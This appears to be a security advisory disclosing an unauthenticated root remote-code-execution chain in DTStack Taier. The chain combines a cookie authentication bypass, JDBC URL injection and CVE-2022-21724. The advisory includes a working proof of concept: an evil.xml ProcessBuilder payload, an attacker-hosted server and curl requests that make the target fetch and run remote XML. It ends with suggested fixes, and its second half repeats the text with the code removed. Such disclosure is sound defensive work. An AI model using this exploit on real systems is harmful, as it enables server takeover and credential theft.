Summary
A critical vulnerability chain exists in DTStack Taier that allows an unauthenticated attacker to execute arbitrary commands on the server with root privileges. The attack requires only 3 HTTP requests and no credentials.
Affected Versions
All versions (confirmed on latest master branch and dtopensource/taier:latest Docker image)
Vulnerability Details
Root Cause 1: Authentication Bypass in LoginInterceptor
File: taier-data-develop/src/main/java/com/dtstack/taier/develop/interceptor/LoginInterceptor.java#L46-L48
The LoginInterceptor only checks whether the token cookie is blank, without verifying its signature, validity, or expiration:
String token = CookieUtil.getToken(request.getCookies());
if (StringUtils.isBlank(token)) {
throw new TaierDefineException(ErrorCode.NOT_LOGIN);
}
return true; // Any non-empty token value passes authentication!
An attacker can bypass all authentication by simply setting Cookie: token=anything.
Root Cause 2: JDBC URL Injection in Data Source Connection Test
File: taier-datasource/taier-datasource-plugin/taier-datasource-plugin-rdbms/src/main/java/com/dtstack/taier/datasource/plugin/rdbms/ConnFactory.java#L160
The testCon endpoint passes user-supplied JDBC URL directly to DriverManager.getConnection() without any sanitization:
return DriverManager.getConnection(rdbmsSourceDTO.getUrl(), PropertiesUtil.convertToProp(rdbmsSourceDTO));
Root Cause 3: Vulnerable PostgreSQL JDBC Driver (CVE-2022-21724 unfixed)
File: taier-datasource/taier-datasource-plugin/taier-datasource-plugin-postgresql/pom.xml#L21
<postgresql.version>42.2.2</postgresql.version>
PostgreSQL JDBC 42.2.2 does not have the asSubclass() type check introduced in 42.2.25/42.3.2 to fix CVE-2022-21724. The socketFactory parameter can instantiate arbitrary classes, including ClassPathXmlApplicationContext which loads remote XML to execute commands.
Attack Chain
Attacker (no credentials needed)
→ Set Cookie: token=x (bypass LoginInterceptor)
→ POST /taier/api/upload/component/addOrUpdateComponent (add SFTP component config)
→ POST /taier/api/dataSource/addDs/testCon (inject malicious PostgreSQL JDBC URL)
→ socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
→ socketFactoryArg=http://attacker/evil.xml
→ ClassPathXmlApplicationContext loads remote XML
→ ProcessBuilder executes arbitrary command as root
→ POST /taier/api/component/delete?componentId=X (cleanup)
Steps to Reproduce
1. Deploy Taier using official Docker image
git clone https://github.com/DTStack/Taier.git
cd Taier
docker-compose up -d
2. Start attacker HTTP server (in same Docker network)
# Create evil.xml
cat > evil.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>id > /tmp/pwned.txt</value>
</list>
</constructor-arg>
</bean>
</beans>
EOF
docker run -d --name taier-attacker --network taier_default \
-v $(pwd)/evil.xml:/srv/evil.xml -w /srv python:3.11-slim python -m http.server 8080
# Get attacker container IP
ATTACKER_IP=$(docker inspect taier-attacker --format '{{.NetworkSettings.Networks.taier_default.IPAddress}}')
echo "Attacker IP: $ATTACKER_IP"
3. Exploit
# Step 1: Verify auth bypass
curl -s -X POST http://localhost:8090/taier/api/dataSource/addDs/queryDsClassifyList \
-H "Content-Type: application/json" \
-H "Cookie: token=bypass;userId=1;tenantId=1" \
-d '{}'
# Returns data (code=1) proving authentication is bypassed
# Step 2: Add SFTP component
curl -s -X POST http://localhost:8090/taier/api/upload/component/addOrUpdateComponent \
-H "Cookie: token=bypass;userId=1;tenantId=1" \
-F "resources1=;filename=" \
-F "resources2=;filename=" \
-F "clusterId=-1" \
-F "componentConfig={\"host\":\"$ATTACKER_IP\",\"port\":\"22\",\"username\":\"root\",\"password\":\"root\",\"path\":\"/tmp\"}" \
-F "versionName=" \
-F "kerberosFileName=" \
-F "componentCode=6" \
-F "principals=" \
-F "principal=" \
-F "isMetadata=false" \
-F "isDefault=true" \
-F "deployType=0"
# Step 3: Trigger RCE
curl -s -X POST http://localhost:8090/taier/api/dataSource/addDs/testCon \
-H "Content-Type: application/json" \
-H "Cookie: token=bypass;userId=1;tenantId=1" \
-d "{\"dataType\":\"PostgreSQL\",\"dataVersion\":\"\",\"dataName\":\"rce\",\"dataDesc\":\"\",\"dataJsonString\":\"{\\\"jdbcUrl\\\":\\\"jdbc:postgresql://$ATTACKER_IP:8080/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://$ATTACKER_IP:8080/evil.xml\\\",\\\"username\\\":\\\"test\\\",\\\"password\\\":\\\"test\\\"}\"}"
4. Verify RCE
docker exec taier cat /tmp/pwned.txt
# Output: uid=0(root) gid=0(root) groups=0(root)
Impact
- Unauthenticated Remote Code Execution as root
- Complete server takeover
- Access to all data sources credentials stored in the platform
- Lateral movement to connected databases and big data clusters
Suggested Fix
- LoginInterceptor: Validate the JWT token signature using
TokenService.decryption() instead of only checking if it's blank
- ConnFactory: Implement a whitelist/blocklist for dangerous JDBC URL parameters (
socketFactory, socketFactoryArg, autoDeserialize, allowLoadLocalInfile, etc.)
- PostgreSQL JDBC: Upgrade from 42.2.2 to >= 42.2.25 to get CVE-2022-21724 fix
Summary
A critical vulnerability chain exists in DTStack Taier that allows an unauthenticated attacker to execute arbitrary commands on the server with root privileges. The attack requires only 3 HTTP requests and no credentials.
Affected Versions
All versions (confirmed on latest
masterbranch anddtopensource/taier:latestDocker image)Vulnerability Details
Root Cause 1: Authentication Bypass in LoginInterceptor
File:
taier-data-develop/src/main/java/com/dtstack/taier/develop/interceptor/LoginInterceptor.java#L46-L48The
LoginInterceptoronly checks whether thetokencookie is blank, without verifying its signature, validity, or expiration:An attacker can bypass all authentication by simply setting
Cookie: token=anything.Root Cause 2: JDBC URL Injection in Data Source Connection Test
File:
taier-datasource/taier-datasource-plugin/taier-datasource-plugin-rdbms/src/main/java/com/dtstack/taier/datasource/plugin/rdbms/ConnFactory.java#L160The
testConendpoint passes user-supplied JDBC URL directly toDriverManager.getConnection()without any sanitization:Root Cause 3: Vulnerable PostgreSQL JDBC Driver (CVE-2022-21724 unfixed)
File:
taier-datasource/taier-datasource-plugin/taier-datasource-plugin-postgresql/pom.xml#L21PostgreSQL JDBC 42.2.2 does not have the
asSubclass()type check introduced in 42.2.25/42.3.2 to fix CVE-2022-21724. ThesocketFactoryparameter can instantiate arbitrary classes, includingClassPathXmlApplicationContextwhich loads remote XML to execute commands.Attack Chain
Steps to Reproduce
1. Deploy Taier using official Docker image
git clone https://github.com/DTStack/Taier.git cd Taier docker-compose up -d2. Start attacker HTTP server (in same Docker network)
3. Exploit
4. Verify RCE
Impact
Suggested Fix
TokenService.decryption()instead of only checking if it's blanksocketFactory,socketFactoryArg,autoDeserialize,allowLoadLocalInfile, etc.)